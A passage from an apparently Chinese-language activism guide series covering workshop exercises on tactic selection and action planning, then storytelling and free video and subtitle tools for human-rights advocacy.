- 您的行动组织自身的能力 —— 资源、盟友和支持网络（国家或国际）、法律限制等；
- 风险容忍度（危险度）
- 对您的对手分析（对手对您的战术的潜在响应）
- 使用该战术的环境

请注意，您不仅要考虑战术本身，而且必需考虑该目标的总体战略意义；并且，记住 “知己知彼” 的原则，随时考虑您的行动小组执行针对所选目标的行动计划的能力和资源。

如果你们将多个关键关系确定为目标，则可能首先要考虑目标是否仍然太宽泛；尽可能精简它，让行动具有更强的目的性。作为组织者，在此步骤中，您的工作是帮助您的团队尽可能地确定他们所选择的目标，以便于计划最合适的战术。

比如下面这个例子：

以上是泰国的 Forum-Asia 行动组织使用的战术图谱。我们不能以中国的具体社会问题举例，您知道为什么；但我们会讲解这些行动步骤，您现在已经理解如何策划这些步骤，您将可以很容易以私密的形式形成专业的行动主义战术图谱。

战术灵活性的需求

「图」

为了理解此步骤的基本方法，重要的是要记住使用这套工具的六个理由，这些理由说明了扩大组织战术“工具箱”为什么很重要的原因：#您知道如何做，就会影响您认为可能做的事；战术有助于确定战略。

- 不同的战术对不同的目标有效，没有万能战术。
- 不同的战术会吸引不同的行动区域的受众。
- 战术灵活性是您的行动主义出其不意的来源。
- 战术能教会参与者和观察者如何融入世界。
- 战术本身就是使参与者和盟友参与组织工作的培训系统。

1. 战术范围狭窄会导致影响力范围缩小；广泛的战术能吸引并涉及更多的区域，带来更多的支持者；

- 过度依赖任何一种战术都会导致其在错误的情况下被应用，并错过了扩大战略目标的机会；灵活的战术思维为完善的战略目标创造了机会；
- 过度使用的战术会鼓励对手将对抗反应系统化，并使对手更容易捍卫自己的位置；战术上的灵活性会带来出其不意和成功。

1. 为您的团队提供实现特定有趣目标的机会

- 为团队成员提供担任领导者和支持者角色的机会
- 了解“战略路径”的概念

1. 人们在尝试完成这一挑战方面有什么经验？

- 这种练习如何引发人们思考在现实反抗活动中必须遵循的协作？
- 难点是什么？
- 有什么容易做到的事吗？
- 人们注意到团队中其他人在扮演什么角色了吗？
- 出现了哪些小组动态？
- 人们希望自己做了什么不同的事吗？（创意）
- 他们最感到骄傲的是什么？

1. 查看问题陈述和愿景

- 确定有关问题的SMART目标，以便制定具体战术
- 重新检查已确定的目标和战术，因为它们与特定目标有关
- 确定潜在的盟友，以建立更全面和有效的战略来推动特定目标的推进

1. 问题陈述

- 愿景陈述
- 战术图谱（请参阅前一集内容）
- 盟友图谱（请参阅前面一集内容）

1. 邀请人们分享自己的想法；

- 选择一个示例，突出显示某人可能需要达到其10年目标的步骤（例如，成为一名记者）
- 说明虽然是长期目标（从现在起10年），实际上，必须采取许多具体的行动（小目标），才能开始有朝一日实现这一大目标的路径。例如，第一步可能是创建博客，或为当地报纸撰写评论，并进行系统性的学习。关于采取哪个“第一步”更好的决定要仔细权衡，并由实际的资源、未来变革的潜力来决定，最终，要成为记者的长期目标可以为决策提供依据。

1. 行动要点是将楔形向频谱的“同盟”方向移动。例如：如果目标当前位于“中立”位置，则该动作旨在将目标移动到“被动同盟”位置。

- 确保团队中的每个成员都参与评估和选择行动目标

选择要瞄准的机构的示例可能会有所帮助。提醒团队，任何一个机构都是由“人”组成的。您可能需要有关目标机构内部人员的更多信息，以便确定采取行动的最佳“目标”。可以再次使用战术图谱工具来“映射”您的团队中有关该机构的可用知识（包括关系的性质）。这将有助于团队了解战术图谱工具和盟友范围在帮助他们制定有效行动计划方面的真正价值。

反思和分享：

为团队提供讨论和探索特定目标的机会很重要。组织始终具有有限的资源（财务、人员、时间）；因此，确定可以实际影响目标问题并朝着愿景迈进的**SMART**目标至关重要。要求每个小组分享为什么他们选择特定的目标和战术 —— 这一选择至少要做到朝着既定的愿景迈出一小步。

好了，今天先到这里；在下一集中我们将进入新的练习，帮助您的团队扩大战术灵感。下次见！○

—— 未完待续 ——

原文

为行动而计划：信息行动主义（7）- 探索战术思想 - iyouport

信息行动主义

【2021年5月28日存档】没有行动的计划是徒劳的。没有计划的行动可能是致命的。

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》
- 《从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径》

本系列内容需要按顺序阅读，因为后文中的内容将使用前文中的练习构建的知识和能力。

我们先继续上一集中未完成的练习，然后进入最后一个步骤。

练习：探索战术思想

「图」

既然您的团队已经确定了各种各样的关键关系，包括个人、组织、社区民间社会团体和机构等，那么探索战术是很有帮助的，每个组织和

个人的动态都可能会影响此问题的答案。

该练习将使您的团队有机会探索并批判性地分析人权工作中的战术，以便产生新的想法，然后成员可以将其应用于对实际工作的评估中。

目标：

- 提供机会探索他人成功使用的战术；
- 产生关于如何使战术更适应新问题/新思想的灵感。

准备：

此练习大概需要1.5个小时完成。您可以从网上各种权利组织的网站查看到一些战术示例，全世界任何国家的人权斗争战术都可以，因为活动家面对的状况有非常大的相似性。我们的 列表-5 中有收集很多战术，您都可以选择。

为了做好本练习的准备，您需要实际选择一些战术示例，供您的团队在此活动中进行分析，并准备好这些示例的副本以分发给参与者。

此外，每个参与者都需要一份讲义的副本，即 工作表-战术案例研论指南（在本节的末尾找到）。您还将需要活动挂图纸、记号笔和美纹纸。

说明：

这是一个引入其他国家和地区使用的战术的好机会 —— 为您的队友了解更多潜在的战术提供更广阔的视野。这可能会引起您的队友对自己的情况下可能发生的事产生兴趣或想法。

📌 确保与成员分享想法并强调必须通过以下方式影响战术选择：

- 团队的能力和局限性（资源、人员等）
- 了解您的团队的风险承受能力（危险程度）
- 对对手的分析（对手对您的战术的潜在反应）
- 了解地形（对手采取反应的可能性）请注意，地形是动态变化的，您需要随时分析和评估新的变化带来的可能性或抑制力，以便调整您的计划

练习过程：45分钟，15分钟的解释、和30分钟的组织工作；

注：此练习可以作为晚上的工作，以两人或三人一组的形式进行，并

于第二天在研讨会全体会议上共享。

1、将您的团队成员分成三人一组。您可以通过创造性的方式来创建分组，以使过程变得有趣 —— 如果时间有限，则可以减少到2～3人。每个小组将共同努力完成此练习。

2、为每个小组分发一个战术示例。

3、向参与者提供战术案例研究工作表 —— 您的讲义副本，告诉参与者有30分钟的时间来完成讲义中列出的问题，并准备活动挂图以便与整个团队分享。

4、向整个团队所有人解释，每三人一组将有大约5分钟的时间分享他们的结果：

- 说明小组中的每个成员在小组演讲中都需要一个角色；
- 请小组特别关注他们产生的关于该战术在自身的背景或目标问题中如何使用的想法。

5、在人们开始工作时，散发并鼓励他们批判性地参与评估该战术对他们自己的工作的效用。提醒参与者，小组中的每个成员都需要在演讲中扮演一个角色。

小组演讲：

「图」

战术思想的演讲。将整个团队聚集在一起，说明每个小组将有大约5到10分钟的时间分享他们的思考结果（取决于小组的人数）；提醒小组成员特别注意每个小组针对是否可以将该战术实施到自己的工作和环境中而产生的想法。

反思与分享：

在所有演讲结束之后，请全体成员提出他们自己的想法和思考：

- 是否有任何战术示例对他们特别有吸引力？
- 他们是否有使用任何战术的经验？
- 他们是否有可能考虑进一步的探索？
- 技术工具将如何增强（或阻碍）战术实施或扩展到目标人群？

工作表–战术案例研究讨论指南

「图」

您的讲义需要准备以下内容。

1、每个小组将：

- 使用活动挂图纸准备讨论结果，以与所有人共享；
- 阅读您得到的讨论结果，并思考以下问题，以与整个小组分享；
- 为小组中的每个成员准备具有参与角色的演示文稿。

2、使用活动挂图纸提供一个指导列表，并使其足够大，以供所有人查看：

a）确定战术 —— 故事中使用的主要战术是什么？

b）确定战术的目标 —— 这一战术针对的目标是谁？

c）确定目标 —— 该战术旨在实现什么目标？

d）分享成功的一些关键领域 —— 关于该战术如何帮助达成目标？

e）分享您在自己的目标问题或反抗背景下使用这种战术的想法。您需要思考的一些问题包括：

- 您如何将这种战术应用于您当前面临的问题？
- 您是否使用过类似的战术或认识相关团队？如果是这样，请分享您对该战术的使用方式；
- 您是否针对不同的目标使用了不同的战术？如果是这样，请分享您使用了哪些战术？
- 技术工具将如何增强（或阻碍）对目标人群的战术实施或推广？

3、准备一个简短的演讲文稿样本：

- 记住让小组中的每个成员在演讲文稿中都扮演一个参与角色，所有人都应该参与进来；
- 在您对该问题的想法部分用黑体字突出

就是这样。下面我们将进入“战略效能方法论”的第5个步骤：采取行

动。

步骤5：采取行动

「图」

这5个步骤中的每一步对于制定具体计划以使您朝着实现战略人权目标的方向前进，都至关重要；这包括您自己、对您的对手的了解、以及围绕您的目标问题的人际关系领域。

有了明确的计划，您可以自信地采取行动。这是您到达目的地的路线图。每个旅程都从第一步开始。

采取行动的方法概述

「图」

制定行动计划以在您的组织中实施是这套步骤的高潮。在此步骤中，将所有前面的步骤放在一起，您将为您的组织创建可靠的行动计划。

目标：

- 审查战略路径，以便选择解决该问题的近期目标
- 对实施的战术进行严格检查
- 将所有先前的流程纳入具体计划以采取行动
- 检查并确定角色分配、职责分配、具体资源、风险和机会
- 制定时间表以执行计划
- 在制定和实施行动计划时练习评估战略目标

重要的是，将您的团队通过之前步骤中的练习识别出的信息汇总到一起。

您的团队将审查自己确定的能够实现愿景的战略路径和近期目标。进行此审查是为了制定采取行动的计划，并确定要采取的具体行动步骤。为此，您的队友将审查自己解决问题的第一个近期的目标（第一个营地）；接下来对最有可能实现该目标的战术进行严格的审查。最后，团队成员将确定并制定计划，以实施最有效的和最实用的战术 —— 符合给定目标、资源和能力。

首先：确立SMART 目标 —— **S** 战略、**M**可测量、**A**可实现；**R** 相关的/现实的、以及 **T** 时限

在制定采取行动的计划之前，还有另一个机会来回顾前面步骤中收集的信息。

在创建战略路径时，您的团队成员将审核他们的问题陈述、愿景陈述、以及用于分析地形的工具，其战术图谱和盟友图谱上的潜在目标，以及在前面步骤4中探索的各种战术。

团队成员确定了一个近期目标，这将是使大家更加接近自己的视野的有效基础。您的团队将认真考虑所有这些信息，现在将根据自己的资源和制定行动计划的能力来严格审查可能的战术。

回忆前述中登山的例子。请记住，在山腰一路上有多个营地。为了从一个点到达另一个点，您就需要计划、制定战略，并实施精心选择的战术，这些战术将帮助你们朝着自己的愿景迈出一步。

一路上会有多个小目标，不可能从一开始就预见所有这些小目标。但是，如果每个人都不同意团队的有效第一目标，那么就很难开始有效地团队合作。这是确保您的团队已决定其近期目标的机会。

第二：每当您的团队在人权行动努力中确定一个新的小目标时，重要的是要回到地形和盟友的视野上，以确保您的队友能专注于最有可能帮助你们实现终极目标的步骤，并确保您不会忽视对您的努力具有最大积极潜力的新可能性！战略路径不仅有助于确定目标，而且可以有效地选择有助于您实现这些目标的步骤。

第三：对战术的严格审查。

并非所有战术都适用于所有目标。重要的是，一旦您的团队确定了要关注的最适当的战略目标，成员就应该重新考虑自己在战术上看到的选择。

必须以持续的方式对战术进行严格的评估，评估其是否适合所选目标、该小组在资源方面的能力、以及其在实现既定目标方面的有效性。

第四：制定行动计划。

行动计划是一种工具，可以帮助您的团队确定自己将需要执行的一系列任务，以执行他们针对所选目标所确定的战术。在步骤5中，您的团队使用行动计划作为工具，以帮助实现战略道路上的第一个目标。

📌 这是一个用于计划和分配责任的工具。它详细说明了应完成的任

务、每个任务需要哪些资源、谁将完成每个任务，并确定何时应完成每个任务的时间表。

任务完成后，鼓励团队成员在组织工作中继续前进，以重新评估行动计划工具，作为自我评估和重新分组的一种方式。

📌 您需要汇集以下所有这些信息。

战略：

- 问题：您确定要解决的问题；
- 愿景：解决问题后的世界会是什么样
- 目标：您在实现愿景的战略道路上采取的渐进步骤

战术：

- 目标：可以帮助您实现目标的人 —— 从战略上考虑，使用 “盟友图谱” 工具来确定目标
- 选择战术：您为了实现目标而采取的一系列行动 —— 来自战术思想的 “头脑风暴”
- 组成部分：受到或可能受到您的战术影响的人员和组织的列表 —— 来自 “战术图谱” 和 “盟友图谱”
- 风险和机会：此操作应引起的注意

行动：

- 计划采取行动：您为完成战术并达到目标而要做的特定任务

上图是一个示例格式，是开始列出信息的过程以及为实施行动计划而必须执行的许多任务。确定执行计划所需的具体步骤：选择目标和战术以推进战略；实施战术的步骤（任务）；需要什么资源；谁将参与确保执行战术（责任）；何时何地（时间框架），以确保行动计划能够向前发展。

未来的工作和计划：

「图」

在实际执行行动计划之前，战略效能的五个步骤还没有完成。评估这些战术如何有效地配置以实现目标，尤为重要；以及该行动计划对解决该问题并迈向愿景的大战略有多大影响。

📌 信息和条件会根据您的行为和对手的行为而发生变化。花时间评估您的计划的实施情况，以及所发现的问题发生了哪些变化，然后再次使用战术工具包。

正如战术需要评估和反思一样，战略也是如此。上图直观地展示了正在进行的战略评估过程。 在您进行倡导工作时，有必要重新审视每个步骤并检查各种工具的更新（例如战术图谱和盟友图谱），以了解制定采取行动的计划如何影响目标、目标周围的关系，以及问题本身。有必要在收集到更多新的信息时添加新的关系，或者查看战术在哪里产生了变化。

练习：对战术的批判性评估

「图」

该练习旨在帮助您的团队评估其现有战术，并考虑在其工作中使用新的战术来解决其特定的人权问题。

在完成其他战术共享练习（步骤4）之后，以及您的团队确定了解决所发现问题的近期目标（战略路径工具）时，最好使用此练习。这项任务的重点是对战术是否适合目标、是否能实现近期小目标、以及团队自身进行批判性的评估 —— 考虑到其资源、工作区域、其对手、以及对手和对手团队的优缺点。

目的：

- 检查您的团队的战略路径和确定的目标；
- 发挥您的团队的创造力以产生自己的战术思想；
- 根据目标、资源和能力评估战术思想
- 选择可以实施的战术

准备：

此练习将花费50到60分钟。您将需要活动挂图纸和记号笔。

简要说明：请您的团队按时间来完成三项任务：# 回顾自己的战略路径中概述的已确定目标 —— 步骤4（10 ~ 15分钟）

- 战术头脑风暴过程（10 ~ 15分钟）
- 战术的批判性评论（30分钟）

1. 团队当前在此问题上使用的战术是什么？它们是最有效的可能

性吗？它们是对资源的最佳利用吗？

- 您的队友可以识别出其他团队正在使用的什么战术？他们如何更好地为自己的愿景服务？
- 这些战术如何影响问题的前因后果、关键关系等？它们是否达到了预期的结果？如果是达到了，下一步怎么办？如果没有，那么可能会有什么障碍？
- 哪些关键关系（人、机构、社会团体等）仍不受影响？或当前战术未将其作为目标？（在这里可以提醒团队成员在战术图谱上以及在其盟友关系图谱内所做的工作）

1. 团队的能力（资源，人员等）—— 限制以便更好地管理您的时间和资源；时刻关注盟友关系，也就是支持网络，以增强您的能力

- 分析对手（对战术的潜在反应）
- 风险承受能力（危险程度）
- 使用相关战术的背景

1. 该战术在达到目标方面的有效性如何？

- 选择的战术是否有效地使您的战略朝着目标迈进的过程中取得了进展？
- 需要考虑或正在遇到哪些危险？
- 如何调整战术以最大程度地减少危险？
- 如果无法将危险降到最低，是否需要停止该战术？
- 可以使用另一种战术替代吗？

1. 将先前所有过程中获得的知识纳入具体的行动计划

- 制定具体的行动计划：确定角色、职责、资源、评估风险和机会、以及实际实施的时间表
- 设定实施计划的时间表，并审查和评估计划以采取进一步行动

准备：整个练习需要1 ~ 1.5个小时。您将需要工作表的副本 —— 就是您的团队 “为采取行动而计划” 的活动挂图纸，还有记号笔。

说明：在团队制定行动计划时，请务必询问每个小组想要解决的问题是什么，以确保成员正在制定SMART步骤，以帮助成员执行战术并实现目标。

提醒成员对自己拥有的资源、概述的每个任务所涉及的风险、以及每

个任务可能带来的任何其他机会和/或挑战，进行批判性思考。

反思和分享：各小组完成其行动计划后，请给每个小组一些时间来介绍其计划的关键点。留出时间来思考前面步骤中的工作如何有助于行动计划的设计；以及其他人对该行动计划的反馈/建议。

好了，到此为止您的团队已经练习了所有5个步骤。下一集中我们将介绍行动者团队讲述故事的技巧 —— 或者说，与当权者争夺叙事控制权的能力。因为您的行动必需获取、保持、和不断增长支持度，这是推动变革的重要力量。我们下次见。〇

—— 未完待续 ——

原文

挑战当权者的叙事：信息行动主义（8）- 讲述故事是一件武器 - iyouport

信息行动主义

【2021年6月9日存档】基于故事的战略是一种参与性方法，将运动构建与叙事能力和分析能力联系在一起；故事处于推动社会变革的中心位置，旨在用我们的叙事挑战当权者的叙事

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》
- 《从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径》
- 《为行动而计划：信息行动主义（7）- 探索战术思想》

上一集中我们已经完成了5个主要的步骤，希望您和您的团队已经实践了所有练习。本集将从讲述故事的技巧开始，您可以参见我们早前的另一个系列《让它民主：替代媒体作为抗争之源（下）》来理解这种战术。

📌 讲述故事是直接行动的一种方式，讲述故事的人处于四个社会变革关键角色中的 “倡导者” 和 “帮助者” 两个部分。

基于故事的战略是一种参与性方法，将运动构建与叙事能力和分析能力联系在一起；故事处于推动社会变革的中心位置，旨在用我们的叙事挑战当权者的叙事。

基于经验的讲述：数字叙事

「图」

在印度，“Blank Noise” 项目通过将个人讲故事与公开行动相结合，以解决性骚扰问题。

活动家通过在 “博客运动” 中一起撰写博客来讲述她们自己的故事，张贴她们被骚扰的地点或她们所穿的衣服的照片，并讲述她们如何应对街头骚扰的战术。骚扰发生的地方不是黑暗的后巷，而是繁华的街道。她们所穿的衣服就是日常衣物，而不是通常被施暴者称为 “骚扰邀请” 的挑逗性服装。

这些证据自动将责任问题从女性身上转嫁到骚扰她们的男性身上，也转嫁到印度社会将一个严重问题视为 “正常” 的主流价值观上。

Blank Noise 由 Jasmeen Patheja 于2003年8月创建，是班加罗尔 Srishti 艺术设计与技术学院的一个学生项目。除了视觉运动之外，这个项目的目的是围绕印度的骚扰问题促进讨论和支持的社区。为此，它又建立了两个博客：Blank Noise Action Heroes 和 Blank Noise Spectators。

在线的故事

「图」

在线讲故事涉及使用数字工具，以令人信服的方式收集、创造和传播故事，并产生情感影响。

作为变革运动倡导工作者的工具，数字故事有可能在熟悉的包装中传递强烈的信息。正如《赢得故事大战》一书的作者乔纳·萨克斯（Jonah Sachs）所解释的那样，在现代社会，讲故事正在卷土重来，正是因为它发挥了我们共同的价值。彼此之间传递故事的行为意味着一种集体的所有权，使故事 “活” 起来，就像在我们的许多通讯数字化之前的那个时代一样。

为什么要使用它？

「图」

使用数字故事作为行动主义倡导工具的优势在于其普遍性。以故事形式出现的数字内容 —— 使用视频、音频、动画或其他方式 —— 可以潜在地接触到更多的、原本不太活跃的受众。例如，一个音频故事可以在文化水平较低的社区产生影响。另一方面，文字形式的故事也同样有效，因为它可以很容易地在网上或通过现有的媒体结构进行传播。

数字故事可以采取多种形式：

- 证言
- 口述历史
- 采访
- 旁白
- 纪录片
- 讽刺/嘲讽
- 戏剧/小说
- 综合上述所有

通过原始采访片段讲述的数字故事往往比编辑过的故事更直接，因为主题的声音是不加掩饰的。像纪录片这样的长篇故事，必须对内容有更多的选择，但通过编辑对比性的元素，将它们联系起来，可以更好地呈现更全面的结论。

📌 选择哪种形式取决于您需要传达的信息。

故事是将人的因素重新带入一个问题或事业中的极好方式。对于抽象的问题（例如，政治腐败），如果您只关注其中的机制，就很难产生真正的影响 —— 想想看有多少人真正关心黑钱是怎么来的？隐形政府是如何构成的？... 并没有多少，除了那些旨在通过赢得辩论来赚钱的说客和傲慢的意识形态偏执狂，因为他们不需要解决问题，他们只需要让他们自己看起来 “正确”。但您需要的是解决问题，因为您是变革推动者。

相反，用经历过腐败的真实人物的故事，或者更好的是，由他们亲口讲述的故事来 *补充* 这一倡导活动，是让您的行动主义回归具体的一种方式。

故事也更容易传播。以故事的形式呈现的信息或线索，特别是具有大众吸引力的信息或线索 —— 与大众的基本利益密切相关，比简单的

概况介绍或统计数据清单更容易被长期保留和重述。

📌 简单说，您的倡导必需能触及并建立在大众的基本利益上，

我如何将这一工具用于我的行动主义战略？

「图」

在最基础的层面上，故事对讲故事的人来说是一种赋权，但如果将其进一步发展，您可以让人们不仅仅是讲述自己的故事，而是将其记录、发展并传播给广大的受众。通过适当的工具和培训，数字故事有可能将故事讲述者变成内容生产者。

在开始之前，请问自己以下问题：

- 我想讲述的是什么故事，应该由谁来讲述？
- 我应该/可以用什么形式来讲述这个故事？什么形式最适合这个故事？
- 我将如何/在哪里/何时传播它？
- 我想让这个过程持续下去吗？我希望它是参与性的吗？

📌 您的目标受众的习惯和他们可利用的资源应该影响您的内容风格，以及您传递和分发内容的方法、您的内容的长度和语言风格，以及您是决定一次性制作/出版还是持续的系列。

您的受众是否可以上网？他们的宽带速度快还是慢？DVD播放器？电视机？他们会参加公共集会吗？举例来说，如果您的受众是很少会上网的工人，那么播放20分钟有关劳工权益的DVD可能是合适的；如果您要提高大学生对监视资本主义的认识，您可以选择制作一个两分钟的幽默动画，在流行的媒体分享服务和社交网站上发布。

故事、风格和简介

「图」

想象一下，您和您的视频项目的潜在资助者在电梯里。您只有十层楼的时间，也就是30秒的时间，来展示您的“电梯推介”，所以您必需保证精确和简短 —— 简要描述您的视频是关于什么的、观众会看到什么、为什么它很重要。一定要准确抓住重点，您准备好了吗？

这是一个重要的练习，帮助您能够简明扼要地定义您的视频的信息、

故事和讲故事的人。试着写一个简短的指导段落或概要，解释观众在您的视频中会看到和听到什么。📌 这不应该是对视频信息的总结或分析，而是描述您如何看待故事的展开。每个词都应该与视频中会出现的东西有关。

您的概要还可以描述视频的风格和感觉，例如，它会是一个节奏明快的音乐视频风格吗，还是会有一个更慢节奏的故事、或一系列鲜明的图像穿插其中？

先确定视频中最重要的、最关键的信息。一旦您做到了这一点，就把重点放在细节上。您的故事讲述者将是谁？您将使用什么工具来展开叙事？

“基于故事的战略”—— 这是一个总部设在美国的行动主义组织，旨在通过培训讲故事的技巧和战略来帮助组织在当代媒体环境中的竞争 —— 组建公民替代媒体。他们的 “故事大战” 工作表是一个很好的入门练习，通过帮助您定义您的 “现状” 和 “变革目标” ，找出讲述故事的最佳方式。

简介样本

「图」

以下是一段关于缅甸境内流离失所者的视频简介。

这段视频展示了2005年底被军政府驱逐的人们所面临的持续的不安全状况。

视频以一系列关于政府进攻的图片开场。用一系列标题卡回顾了这次行动的事实，包括有多少人流离失所。然后，村民向采访者展示了他们是如何生活在一个隐藏在丛林中的社区，讲述他们的经历和个人故事，并谈论他们对自己和孩子的希望和恐惧。 这些采访和对话与日常生活的序列一起播放，展示了2006年战区村民面临的持续挑战。他们成群结队地呆在田地附近，住在简陋的临建房里，避开平原上的村庄。他们的食物很少，没有受教育的机会，医疗条件有限，也没有安全感。 采访者和他们一起穿越丛林，他们为了躲避袭击日夜兼程；采访者和他们一起藏好食物，把能背的东西打包，准备再次出发，躲避新的进攻。 视频最后明确呼吁—— 在视频和片尾的标题卡中 —— 支持他们，并向政府施压，要求停止攻击。

讲故事的伦理

「图」

在加拿大蒙特利尔口述历史和数字故事中心，一个名为 “蒙特利尔生活故事” 的里程碑式的多年项目收集了400多份因暴力或种族灭绝而流离失所的蒙特利尔人的口述历史证词。许多访谈都被编入了目录，并制作成DVD光盘，供该中心观看，还在一个名为 “Stories Matter” 的特殊可搜索视频数据库中用关键词做了标记。

其中，参与者透露了痛苦的回忆，有时还透露了有关过去或现在政权的潜在危险信息，因此，无论是对项目的完整性还是对参与者的保护来说，一个可靠的道德政策都是至关重要的—— 受访者可以选择从公开到完全匿名的三种匿名程度，这既可以鼓励人们参与，又不会危及他们的安全。

该项目还建立在 “共享权限” 的概念上，将创作控制权平等地授予采访者和被采访者。鼓励被访者在讲述自己的故事时发挥积极作用。

当拍摄敏感的内容 —— 人权侵犯的受害者、或反政府的活动家——时，对公开这些内容的伦理和道德后果有一个清晰的认识非常重要。确保您遵守知情同意，并且这种曝光不会威胁到参与者的工作或人身安全。

📌 不要错过这个精彩的文字版口述历史《现在团结》。

案例研究

「图」

数字故事为边缘化社区的声音提供了一个自然的渠道。它既能证明个人的价值，又能建设社区。

南非非政府组织 “Women’s Net” 于2005年发起了一个数字故事项目，目的是利用数字故事收集和分享遭遇暴力的个人的生存经验，这种方法允许人们使用动画、照片、音乐和视频讲述第一人称的故事。然后将这些故事分发给人权倡导者、政策制定者、服务和援助工作者。

Witness 组织也一直站在新兴的视频倡导运动的最前沿，自1992年以来一直使用视觉媒体和基于故事的内容来记录侵犯人权的行为。该网站丰富的视频部分包括儿童兵、气候难民、性别暴力受害者等讲述的第一手采访和故事。

Mosireen 是一个总部设在开罗的多媒体团队，专注于“文化行动主义”。Mosireen 通过记录虐待行为，维护网络平台，并通过培训项目和定期的放映赋予公民权力，帮助挑战当权者的叙事。他们的 Youtube 页面是埃及浏览量最大的非营利频道。

2007年末，一群年轻的智利活动家制作了一部纪录片，讲述了燃煤发电项目对该国动物资源丰富的洪堡地区野生生物的威胁。这部名为“Chao Pescao” 的纪录片结合了该地区丰富的自然资源如何被破坏、以及智利其他地区如何受到影响的信息，成为了一场社会运动，激发了智利社会对环境保护问题的关注。在不到两周的时间里，Chao Pescao 网站的访问量就超过了10万次，迫使主流媒体对燃煤电厂的建设计划进行了长达10多天的研究和辩论。

📌 您可以使用的工具

- Amara
- Handbrake
- Desktop Video Editors
- Online Video Editors
- Synfig
- Workthrough on creating a video mashup
- Audacity or Ardour
- AudioBoo or PhoneBoo

下面简要介绍这些工具。

1、Amara

「图」

Amara 是一款免费的在线字幕服务，它允许您添加或导入文本，为互联网上其他地方托管的视频创建字幕。

界面易于使用，允许您在输入文本时播放、暂停和查看视频。您可以根据视频的时间来匹配文本。字幕可以提供给您合作的亲密团队队友进行审查和改进；或者他们可以添加不同语言的额外字幕。

用来做什么？—— 给您的行动主义倡导短片添加字幕（可以多语种），利用分散的支持者社区的力量，快速而廉价地创建翻译。

优点：便于使用，不需要安装特殊的软件，只需要一个浏览器。

缺点：依靠快速稳定的互联网连接。

难易程度：容易。

培训教材：https://amara.org/en/videos/create/

其他资源：https://engagemedia.org/Projects/lingua/

可能的备选方案：Subtitle Workshop

2、HandBrake

「图」

HandBrake 是为了将DVD光盘转换为适合在互联网上观看和共享的较小视频文件而创建的。就是所谓的 “DVD翻录”。

HandBrake 很受欢迎，并适用于许多不同的操作系统。

现在有更多的功能，包括改变视频文件的格式。这对于视频制作者来说是非常有用的，他们希望将自己的项目做得足够小，以适应CD，或在网上或移动设备上分享。

您还可以创建带有字幕的视频文件，或专门的MKV文件（matroska格式），它可以同时包含多个字幕文件，允许观众在视频播放应用程序中选择自己的语种。

用它来做什么？—— 将DVD转换为视频文件，并可以选择包含多种不同语言的字幕。创建纪录片视频的可访问存档作为社区资源。在互联网上分发有关侵犯人权行为的动员视频或倡导视频文件。

优点：一个很灵活的工具，可在许多不同的操作系统上运行。操作简单。

缺点：不支持许多文件输出格式，包括AVI和MPEG-2。

操作系统：Windows, Mac OSX, Linux

难易程度：简单

其他资源：Avidemux、Miro Converter

3、Desktop Video Editors

「图」

大多数视频编辑器的设计都是相似的。一旦您在一个应用程序中学习了基础知识，通常很容易将这些技能应用到更多同类的应用程序中。这是幸运的，因为没有免费的跨平台视频编辑器可用。

这里有一些不同工具的比较。

Windows Movie Maker 和 iMovie 分别在 Windows 和 Mac OSX 上免费使用。最近的版本已经使它们比过去的基本编辑器功能更多，可以支持来自手机的视频。

Lightworks 是一个专业的视频编辑套件，正在作为免费软件发布。您需要一些时间来学习如何使用它，但它是非常强大的。Lightworks 的主要限制是，免费版只接受某些较旧类型的视频文件。如果您想使用来自现代摄像机和手机的视频，您将需要使用另一款软件将文件转换为 Lightworks 能够理解的格式。

Adobe Premiere 和 Final Cut Pro 都是家庭编辑和专业人士常用的软件。它们都是设计精良、易于使用的高级程序，支持来自不同相机和手机的视频。如果您想要花钱购买一个完整的版本，成本比较高。有教育版本，功能较少，成本较低。

对于 Ubuntu 这样的操作系统，Kdenlive 是一款稳定的且越来越灵活的视频编辑应用。它具有多轨编辑、标题、过渡、对多种文件格式的良好支持，而且它现在已经足够稳定，是这个领域的重要竞争者。如果您正在寻找一款免费的开源视频编辑器，而且有Linux系统，不妨试试 Kdenlive。

用它们来做什么？—— 编辑抗议运动的信息、倡导信息、或纪录片的简短视频录像，处理图像和声音以创建简短的鼓舞人心的短视频，组合不同的视频和歌曲以创建混搭或拼贴。

特点：安装简单，但使用复杂程度不一，具体取决于程序

难易程度：中等

培训资源：http://userbase.kde.org/Kdenlive

免费版和专业版的比较：https://www.lwks.com/index.php?

option＝com_content&view＝article&id＝102&Itemid＝213

4、Online video editors

「图」

由于在桌面上编辑视频有一些挑战，尝试使用在线视频编辑器可能是个好主意。两个选择是YouTube视频编辑器和视频工具箱。

YouTube视频编辑器允许您把上传的视频以及音频在浏览器进行简单的编辑。功能有限，但服务足够稳定，可以用来制作短视频。

视频工具箱是一项免费服务，它提供有限的空间用于上传、存储、下载和转换视频。您可以从许多不同的视频分享网站下载视频，然后修剪这些不同的片段，并以不同的顺序组合起来，创建一个新的视频。

用它来做什么？—— 提取现有视频的特定部分用于您的倡导文案中；对上传的片段进行创作，并加入音乐，制作一个鼓舞人心的行动主义视频；使用在线视频资源中的“素材库”，用非常有限的资源制作视频。

优点：不需要下载安装软件；可以处理来自许多不同来源的许多不同种类的视频文件。

缺点：需要一个相当稳定的互联网连接；视频文件的最终输出质量受到限制；可能需要较长时间和大量带宽将视频文件上传到程序中。

难易程度：容易

5、Synfig

「图」

Synfig Studio 用于创建2D动画。适合于那些预算有限的民间活动家，而且效果不错。它是一款非常稳定的工具，拥有很多专业的功能。照片和其他背景可以与图标和卡通人物集成，以创建可以传达特定信息的场景。

